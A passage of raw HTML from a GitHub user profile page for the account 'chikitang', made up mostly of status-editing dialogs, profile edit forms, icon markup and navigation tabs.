9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-false" id="limited-availability-truncate-false-compact-false"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-false"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-false"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> </div> </div> <div class="vcard-names-container float-left js-profile-editable-names col-12 py-3 js-sticky js-user-profile-sticky-fields" > <h1 class="vcard-names "> <span class="p-name vcard-fullname d-block overflow-hidden" itemprop="name"> </span> <span class="p-nickname vcard-username d-block" itemprop="additionalName"> chikitang </span> </h1> </div> </div> <div class="mb-2 user-status-container d-md-none"> <div class="js-user-status-container rounded-2 px-2 py-1 mt-2 border" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center lh-condensed-ultra v-align-bottom"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path></svg> </div> </div> <div class=" user-status-message-wrapper f6 min-width-0" style="line-height: 20px;" > <div class="css-truncate css-truncate-target width-fit color-fg-default text-left"> <span class="color-fg-muted">Set status</span> </div> </div> </div> </summary> <details-dialog class="rounded-2 anim-fade-in fast Box Box--overlay overflow-visible" role="dialog" aria-label="Edit status" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" data-turbo="false" action="/users/status?circle=0&compact=1&link_mentions=1&truncate=0" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="SOdH-f-2peym7Q5DQYTnVoMgrDIwG-wMjYJooZiAkyQkC6sIkVioHpU1s8tn_vGqcjbr0GZliczVQor675CAcg" /> <div class="Box-header color-bg-subtle border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <h3 class="Box-title f5 text-bold color-fg-default">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 color-fg-default"> <div class="js-characters-remaining-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button aria-label="Choose an emoji" type="button" data-view-component="true" class="js-toggle-user-status-emoji-picker btn-outline btn p-0"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-smiley"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 111.222.87l-.614-.431c.614.43.614.431.613.431v.001l-.001.002-.002.003-.005.007-.014.019a1.984 1.984 0 01-.184.213c-.16.166-.338.316-.53.445-.63.418-1.37.638-2.127.629-.946 0-1.652-.308-2.126-.63a3.32 3.32 0 01-.715-.657l-.014-.02-.005-.006-.002-.003v-.002h-.001l.613-.432-.614.43a.75.75 0 01.183-1.044h.001z"></path> </svg> </span> </button> </span> <text-expander keys=": @" data-mention-url="/autocomplete/user-suggestions" data-emoji-url="/autocomplete/emoji"> <input type="text" autocomplete="off" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions?mention_suggester=1" data-maxlength="80" class="d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" value="" aria-label="What is your current status?"> </text-expander> <div class="error">Could not update your status, please try again.</div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto ml-n3 mr-n3 px-3 border-bottom" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions collapsed overflow-hidden"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link Link--secondary no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message ws-normal text-left" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-false-compact-true" id="limited-availability-truncate-false-compact-true"> <label class="d-block f5 color-fg-default mb-1" for="limited-availability-truncate-false-compact-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-false-compact-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <div class="d-inline-block f5 mr-2 pt-3 pb-2" > <div class="d-inline-block mr-1"> Clear status </div> <details class="js-user-status-expire-drop-down f6 dropdown details-reset details-overlay d-inline-block mr-2"> <summary aria-haspopup="true" data-view-component="true" class="btn-sm btn v-align-baseline"> <div class="js-user-status-expiration-interval-selected d-inline-block v-align-baseline"> Never </div> <div class="dropdown-caret"></div> </summary> <ul class="dropdown-menu dropdown-menu-se pl-0 overflow-auto" style="width: 220px; max-height: 15.5em"> <li> <button type="button" class="btn-link dropdown-item js-user-status-expire-button ws-normal" title="Never"> <span class="d-inline-block text-bold mb-1">Never</span> <div class="f6 lh-condensed">Keep this status until you clear your status or edit your status.</div> </button> </li> <li class="dropdown-divider" role="none"></li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 30 minutes" value="2022-06-07T21:44:33-07:00"> in 30 minutes </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 1 hour" value="2022-06-07T22:14:33-07:00"> in 1 hour </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="in 4 hours" value="2022-06-08T01:14:33-07:00"> in 4 hours </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="today" value="2022-06-07T23:59:59-07:00"> today </button> </li> <li> <button type="button" class="btn-link dropdown-item ws-normal js-user-status-expire-button" title="this week" value="2022-06-12T23:59:59-07:00"> this week </button> </li> </ul> </details> <input class="js-user-status-expiration-date-input" type="hidden" name="expires_at" value=""> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div class="d-flex flex-column"> <div class="flex-order-1 flex-md-order-none"> <div class="d-flex flex-lg-row flex-md-column"> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form hidden="hidden" class="position-relative flex-auto js-profile-editable-form" data-turbo="false" action="/users/chikitang" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="put" autocomplete="off" /><input type="hidden" name="authenticity_token" value="iwkVToBnjXFFdNjInjG45Uav3_DZUvm96ztLPa7SIYzz2alJxKqJKkcLPLY81dLs-VRRaZXtdnzRx1yISU3dcQ" /> <div class="mb-1 mb-2"> <label for="user_profile_name" class="d-block mb-1">Name</label> <input class="width-full form-control" id="user_profile_name" placeholder="Name" aria-label="Name" name="user[profile_name]" value=""> </div> <div class="js-length-limited-input-container"> <label for="user_profile_bio" class="d-block mb-1">Bio</label> <text-expander keys=": @" data-emoji-url="/autocomplete/emoji" data-mention-url="/autocomplete/user-suggestions"> <textarea class="form-control js-length-limited-input mb-1 width-full js-user-profile-bio-edit" id="user_profile_bio" name="user[profile_bio]" placeholder="Add a bio" aria-label="Add a bio" rows="3" data-input-max-length="160" data-warning-text="{{remaining}} remaining"></textarea> <div class="d-none js-length-limited-input-warning user-profile-bio-message text-right m-0"></div> </text-expander> <p class="note"> You can <strong>@mention</strong> other users and organizations to link to them. </p> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-organization"> <path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Company" aria-label="Company" name="user[profile_company]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-location"> <path fill-rule="evenodd" d="M11.536 3.464a5 5 0 010 7.072L8 14.07l-3.536-3.535a5 5 0 117.072-7.072v.001zm1.06 8.132a6.5 6.5 0 10-9.192 0l3.535 3.536a1.5 1.5 0 002.122 0l3.535-3.536zM8 9a2 2 0 100-4 2 2 0 000 4z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Location" aria-label="Location" name="user[profile_location]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center"> <svg style="width: 16px;" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link"> <path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path> </svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Website" aria-label="Website" name="user[profile_blog]" value=""> </div> <div class="color-fg-muted mt-2 d-flex flex-items-center" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" height="16" width="16"><title>Twitter</title><path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path></svg> <input class="ml-2 form-control flex-auto input-sm" placeholder="Twitter username" aria-label="Twitter username" name="user[profile_twitter_username]" value="" > </div> <div class="my-3"> <div class="js-profile-editable-error color-fg-danger my-3"></div> <button type="submit" data-view-component="true" class="btn-primary btn-sm btn"> Save </button> <button type="reset" data-view-component="true" class="js-profile-editable-cancel btn-sm btn"> Cancel </button> </div> </form> </div> <div class="js-profile-editable-area d-flex flex-column d-md-block"> <div class="p-note user-profile-bio mb-3 js-user-profile-bio f4" data-bio-text="" hidden></div> <div class="mb-3"> <button name="button" type="button" class="btn btn-block js-profile-editable-edit-button" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"INLINE_EDIT_BUTTON","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="61c43523f3cefbffa175f42d94926965a2c009a1d69d82f4bd8aee8c11a19dc8">Edit profile</button> </div> <ul class="vcard-details"> <li title="Member since" class="vcard-detail pt-1 css-truncate css-truncate-target "><svg class="octicon octicon-clock" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zm.5 4.75a.75.75 0 00-1.5 0v3.5a.75.75 0 00.471.696l2.5 1a.75.75 0 00.557-1.392L8.5 7.742V4.75z"></path></svg> <span class="join-label">Joined </span> <relative-time datetime="2022-06-08T03:50:24Z" class="no-wrap">Jun 7, 2022</relative-time> </li> </ul> </div> </div> </div> </div> </div> <div data-view-component="true" class="Layout-main"> <div class="UnderlineNav user-profile-nav d-block d-md-none position-sticky top-0 pl-3 ml-n3 mr-n3 pr-3 color-bg-default" style="z-index:3;" > <nav class="UnderlineNav-body width-full p-responsive" data-pjax aria-label="User profile"> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_OVERVIEW","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="5d370149c21205ec5db1b16999e0832e303dc0e8216fdfcad467e4d739ba5bd2" data-tab-item="overview" href="/chikitang"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" 